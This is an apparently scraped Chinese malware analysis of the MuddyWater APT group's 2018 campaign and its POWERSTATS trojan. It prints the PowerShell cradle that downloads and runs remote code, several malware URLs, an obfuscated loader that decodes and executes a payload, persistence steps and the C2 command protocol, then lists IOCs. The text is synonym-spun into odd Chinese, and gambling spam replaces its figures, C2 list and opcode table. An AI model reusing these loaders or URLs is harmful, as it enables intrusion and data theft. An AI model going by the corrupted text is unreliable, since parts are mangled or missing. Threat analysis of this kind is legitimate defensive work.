APT组织“MuddyWater(污水)”最新动向剖析

宣布时间 2018-12-01
“MuddyWater(污水)”是一个来自于伊朗的主要针对中东地区攻击的APT组织。该组织主要使用Powershell执行所有恶意操作,并在一系列行动中衍生出了他们的专有木马“POWERSTATS”。该组织的攻击目的主要集中于政府,通讯与石油这些领域。


在对一样平常样本的跟踪中,我们发明了一些新的“MuddyWater”的特种木马“POWERSTATS”,并基本确定这些样本为MuddyWater组织最新攻击运动的产品。


载荷剖析


最新攻击仍通过邮件途径接纳恶意文档的方法并配合社会工程学举行投放。
 
尊龙凯时 - 人生就是搏!

尊龙凯时 - 人生就是搏!

相关文档均嵌入了模糊图片以引诱受害者点击启用恶意宏代码,文档中包括的恶意宏代码基内情似,都使用统一种算法举行数据解密。Pyhton解密代码如下:
“”.join([chr(int(data[_:_+3]) - KEY) for _ in range(0,len(data),3)])


数据解密之后主要执行如下powershell代码:
powershell -exec bypass -c ""IEX((New-Object Net.WebClient).DownloadString(\'URL'))


相关文档的下载的链接划分如下:
http://pazazta.com/app/icon[.]png
http://3cbc.net/dropbox/icon[.]icon
http://ohe.ie/cli/icon[.]png
http://ohe.ie/cp/icon[.]png


下载的文件均为powershell代码,通过使用powershell执行这些下载的攻击载荷来执行如下恶意操作:


(1)将js变量中的代码使用Base64编码解码,并写入到C:\Windows\Temp\temp.jpg文件中。


(2)将vbs变量中代码使用Base64编码解码并用二进制形式写入到C:\Windows\temp\Windows.vbe文件中,或者将vbs变量中的数据直接以二进制形式写入到C:\Windows\temp\Windows.vbe文件中。


(3)将code变量的数据直接写入到C:\ProgramData\Microsoft.db文件中。


(4)启动C:\Windows\temp\Windows.vbe。


在释放的文件中,Windows.vbe会挪用cscript.exe来执行C:\\Windows\\Temp\\temp.jpg中的Javascript代码,该代码经由混淆,解开混淆之后我们发明该代码主要执行如下的powershell代码:
powershell.exe -exec Bypass -c $s=(get-content C:\\ProgramData\\Microsoft.db);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));


该段Powershell代码用于解密Microsoft.db中的文件,并执行解密后的代码,解密后的powershell会再次解密一段数据,该数据先使用Base64解码,然后再对数据使用解压算法举行解压,获得一段经由大宗混淆的powershell代码,混淆要领基本依赖字符换替换,倒序等方法,解开混淆后为该组织专有特种木马“POWERSTATS”。


POWERSTATS木马剖析


POWERSTATS木马首先会设置一系列注册表项目,来禁用Office宏忠言和�;な油�。这是为了确保未来的攻击不需要用户交互。甚至还允许宏代码会见内部VBA工具,以便在未来的攻击中执行更隐藏的宏代码,同时将
“C:\windows\system32\wscript.exeC:\Windows\temp\Windows.vbe”写入到开机自启项Microsoft Edge中,然后设置了一个名为Microsoft Edge的准时使命来准时挪用wscript.exe执行Windows.vbe,以便包管该恶意程序在系统中的驻留与准时运行。


之后POWERSTATS将执行接下来的一系列恶意行为,首先POWERSTATS木马会从自己设置的三个加密的数据中随机抽选一个举行解密,解密出来为需要举行交互的C&C服务器地址,解密算法如下(Python):
"".join([chr(ord(a[_%len(KEY)])^ord(DecryptByBase64(Data)[_])) for _ in xrange(len(DecryptByBase64(Data)))])


解密后的C&C如下

尊龙凯时 - 人生就是搏!


   接着,会获取一系列用户数据,使用”**”拼接到一起使用UTF-8编码,然后再盘算出MD5值,作为此次的获取到的数据的唯一标识,最终结构如下URL:
[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=info&id=global_key
然后将之前获取到的用户数据举行上传,上传的数据经由加密,加密算法的如下:
 

该算法对每个字符举行加密,这种方法的加密字符基本不保存可逆的情形,可是单个字符串使用算法获得的加密字符着实是相同的,我以为服务器保存一张字节替换表来替换每个加密后的数据,在第一次将数据上传之后,若是服务器返回“OK”体现准确吸收数据,然后再天生20个随机字符,经由MD5加密之后,以如下的URL名堂发送POST请求,发送的数据为随机天生的20个字符,来批注可以举行下一步操作。


[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=s&type=live&id=global_key
若是服务器返回OK则体现可以举行接下来的操作,然后恶意程序会向服务器举行如下的GET请求


[C&C]?t=[7d4580a3910c54d62b46f24c397c8d59]&f=g&type=cmd&id=global_key。


若是服务器准确响应,其返回的数据名堂如下:[ID]"~~!!~~"[Operand][Data]


其中差别的操作码会有差别的功效,对应如下:

尊龙凯时 - 人生就是搏!


执行完对应的功效之后,将返回值举行Base64举行编码然后以如下的名堂将数据上传
[ID]:[Result]


与之前攻击的关联


在与今年10月披露的MuddyWater的攻击样本比照后我们发明,最后执行真正恶意行为的Posershell代码与本次的代码基本一致,包括其解密URL的算法与key,Javascript中解密Powershell代码的算法,与C&C交互的指令功效等。我们形成如下比照表。
 
尊龙凯时 - 人生就是搏!



可以发明该组织在本次攻击中主要改善了一些最终powershell代码的挪用历程,让更多的攻击载荷迁徙到C&C服务器中,这样使后续的操作变得越发无邪和长期。


相关IOC:
5935522717aee842433a5de9d228a715
ca9230a54f40a6a0fe52d7379459189c
0cf25597343240f88358c694d7ae7e0a
a256abb5da891f109acf8a496d9792c4
hxxp://pazazta.com/app/icon[.]png
hxxp://3cbc.net/dropbox/icon[.]icon
hxxp://ohe.ie/cli/icon[.]png
hxxp://ohe.ie/cp/icon[.]png
C:\\ProgramData\\Microsoft.db
C:\\ProgramData\\Microsoft.vbe
C:\\Windows\\Temp\\temp.jpg